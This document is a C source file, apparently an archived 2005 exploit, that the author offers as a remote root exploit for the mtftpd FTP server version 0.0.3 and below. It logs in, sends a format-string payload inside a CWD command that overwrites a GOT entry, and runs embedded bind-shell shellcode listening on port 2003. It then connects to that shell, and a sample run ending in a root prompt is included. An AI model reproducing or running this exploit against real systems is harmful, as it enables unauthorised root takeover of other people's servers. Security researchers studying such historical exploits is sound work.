/* \ mtftpd <= 0.0.3 remote root exploit / by darkeagle \ / discovered by darkeagle - xx.10.04 \ / (c) unl0ck research team [http://unl0ck.org] \ / greetz: unl0ckerZ, rosielloZ, nosystemZ, etc.. \ / [darkeagle@localhost darkeagle]$ ./0x666-ftpd -a 127.0.0.1 -p beautifulgirlz -u darkeagle mtftpd <= 0.0.3 remote root exploit by darkeagle [http://unl0ck.org] [`] GOT: 0x804fcb0 [`] Retaddr: 0xbffff8d8 [`] Username: darkeagle [`] Password: beautifulgirlz [`] IP: 127.0.0.1 [`] Port: 21 [`] Creating SOCKET structure... [+] Structure Done! [`] Connecting... OK! [+] Sending LOGIN DATA [+] Successfully logged! [`] Creating EviL Data... OK! [`] Sending... OK! Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. id; uname -a; uid=0(root) gid=0(root) groups=0(root) Linux localhost 2.6.3-7mdk #1 Wed Mar 17 15:56:42 CET 2004 i686 unknown unknown GNU/Linux : command not found \ / \ *--------------------------------------------* / mailto: darkeagle [at] linkin-park [dot] cc \ darkeagle [at] unl0ck [dot] org / *-------------------------------------------* \ */ #include #include #include #include #include #include #include #include #include #include #include #define PORT 21 #define doit( b0, b1, b2, b3, addr ) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ } #define GOT_ADDR 0x0804fcb0 #define RETADDR 0xbffff8d8 char shellcode[] = //binds 2003 port "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80" "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d" "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16" "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10" "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45" "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41" "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int usage ( char *proga ) { printf("\n\nmtftpd <= 0.0.3 remote root exploit\n"); printf("by darkeagle\n"); printf("\nusage: %s \n\nOptions:\n-a \n-p \n-u \n-g \n-r \n\n", proga); printf("EnJoY!\n\n"); exit(0); } char * build_un( unsigned int retaddr, unsigned int offset, unsigned int base, long figure ) { char * buf; unsigned int length = 128; unsigned char b0, b1, b2, b3; int start = 256; doit( b0, b1, b2, b3, retaddr ); if ( !(buf = (char *)malloc(length * sizeof(char))) ) { fprintf( stderr, "Can't allocate buffer (%d)\n", length ); exit( -1 ); } memset( buf, 0, length ); b3 -= figure; b2 -= figure; b1 -= figure; b0 -= figure; snprintf( buf, length, "%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n", b3 - (sizeof( size_t ) * 4) + start - base, offset, b2 - b3 + start, offset + 1, b1 - b2 + start, offset + 2, b0 - b1 + start, offset + 3 ); return buf; } int main( int argc, char * argv[] ) { char opt; char * fmt; char * endian; unsigned long locaddr, retaddr; unsigned int offset, base, align = 0; unsigned char b0, b1, b2, b3; int length, ch; char *username = NULL; char *password = NULL, *ip = NULL; char evil[3000]; int f_got = 0; int f_retaddr = 0; char databuf[300]; struct sockaddr_in final; int Socket; char exec[300]; char recva[200]; if ( argc < 6 ) { usage(argv[0]); } printf("\n\nmtftpd <= 0.0.3 remote root exploit\n"); printf("by darkeagle [http://unl0ck.org]\n"); while ((opt = getopt(argc, argv,"p:u:a:g:r:")) != EOF) { switch (opt) { case 'p': password = optarg; break; case 'a': ip = optarg; break; case 'g': f_got = strtoul(optarg,NULL,0); break; case 'r': f_retaddr = strtoul(optarg,NULL,0); break; case 'u': username = optarg; break; default: usage(argv[0]); break; } } if ( f_got == 0 || f_retaddr == 0 ) { f_got = GOT_ADDR; f_retaddr = RETADDR; } printf("\n [`] GOT: 0x%x\n [`] Retaddr: 0x%x\n [`] Username: %s\n [`] Password: %s\n [`] IP: %s\n [`] Port: %d\n", f_got, f_retaddr, username, password, ip, 21); printf(" [`] Creating SOCKET structure...\n"); final.sin_family = AF_INET; final.sin_port = htons(PORT); final.sin_addr.s_addr = inet_addr(ip); Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); printf(" [+] Structure Done!\n"); printf(" [`] Connecting...\t"); if ( connect(Socket, (struct sockaddr*)&final, sizeof(final)) == -1 ) { printf("FAILED!\n"); exit(0); } printf("OK!\n"); printf(" [+] Sending LOGIN DATA\n"); snprintf(databuf, 300, "USER %s\r\n\r\nPASS %s\r\n\r\n", username, password); send(Socket, databuf, strlen(databuf), 0); recv(Socket, recva, sizeof(recva), 0); if ( strstr(recva, "230" ) ) { printf(" [+] Successfully logged!\n"); } else { printf(" [-] Invalid login or password!\n\n"); exit(0); } printf(" [`] Creating EviL Data...\t"); length = ( sizeof( size_t ) * 16 ) + 1; if ( !(endian = (char *)malloc(length * sizeof(char))) ) { fprintf( stderr, "Can't allocate buffer (%d)\n", length ); exit( -1 ); } memset( endian, 0, length ); ch = 0; locaddr = f_got; // syslog GOT retaddr = f_retaddr; // return address to shellcode offset = 12; // offset to 0x2e414141 - CWD AAAA%12$x base = 4; //locaddr += 0x4; doit( b0, b1, b2, b3, locaddr ); if ( base%4 ) { align = 4 - ( base%4 ); base += align; } strcat(endian, "U"); snprintf( endian+strlen(endian), length, "%c%c%c%c" "%c%c%c%c" "%c%c%c%c" "%c%c%c%c", b3, b2, b1, b0, b3 + 1, b2, b1, b0, b3 + 2, b2, b1, b0, b3 + 3, b2, b1, b0 ); fmt = build_un( retaddr, offset, base, 0xF + 0x1 ); memset(fmt+strlen(fmt), 0x42, 48); strcat(fmt, shellcode); sprintf(evil, "CWD %s\r\n\r\n", fmt); if ( strlen(evil) >= 256 ) { printf("FAILED!\n"); exit(0); } printf("OK!\n"); printf(" [`] Sending...\t"); send(Socket, evil, strlen(evil), 0); printf("OK!\n"); sprintf(exec, "telnet %s 2003\n", ip); printf(" [+] Connecting to shell...\t"); sleep(2); system(exec); printf("FAILED!\n\n"); return 0; } // milw0rm.com [2005-03-29]